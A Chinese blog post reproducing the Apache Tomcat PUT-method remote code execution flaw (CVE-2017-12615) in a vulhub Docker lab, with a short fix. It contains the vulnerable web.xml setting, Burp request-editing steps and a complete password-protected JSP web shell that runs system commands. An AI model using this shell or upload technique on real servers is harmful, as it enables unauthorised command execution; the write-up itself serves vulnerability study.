zoukankan      html  css  js  c++  java
  • 漏洞复现——tomcat远程代码执行漏洞

    漏洞描述:

    当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行

    影响范围:

    Apache Tomcat 7.0.0 - 7.0.79

    漏洞分析:

    该漏洞的触发条件有两个,第一tomcat需要运行在Windows主机上,第二要启用PUT请求方法,复现该漏洞时,只需在conf/web.xml中添加

    <init-param> 
    
     <param-name>readonly</param-name> 
    
      <param-value>false</param-value> 
    
    </init-param>
    当resdonly的值为true时,是不开启PUT的方法的,当它为false时,则是开启PUT方法


    修复方案:
    禁用PUT方法即可

    实验步骤:
    1.docker上开启tomcat服务:

    cd vulhub/

    cd tomcat/

    cd CVE-2017-12615/

    docker-compose build

    docker-compose up -d



    2.Windows上打开tomcat网页,开始上传jsp文件

    bp抓包修改包,go:将get方法修改为PUT,加上jsp文件的文件名(红色框),并且将要上传的jsp文件直接粘贴到下面(黄色框)

    jsp代码:

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

    3.查看是否上传成功,并执行代码

    成功上传,查看whoami,jsp木马的密码是023

     
  • 相关阅读:
    .Matrix-第三篇冲刺随笔
    .Matrix-第二篇冲刺随笔
    Alpha冲刺-第九次冲刺笔记
    Alpha冲刺-第八次冲刺笔记
    Alpha冲刺-第七次冲刺笔记
    Alpha冲刺-第六次冲刺笔记
    Alpha冲刺-第五次冲刺笔记
    Alpha冲刺-第四次冲刺笔记
    Alpha冲刺-第三次冲刺笔记
    Alpha冲刺-第二次冲刺笔记
  • 原文地址:https://www.cnblogs.com/xiaoqiyue/p/9954493.html
Copyright © 2011-2022 走看看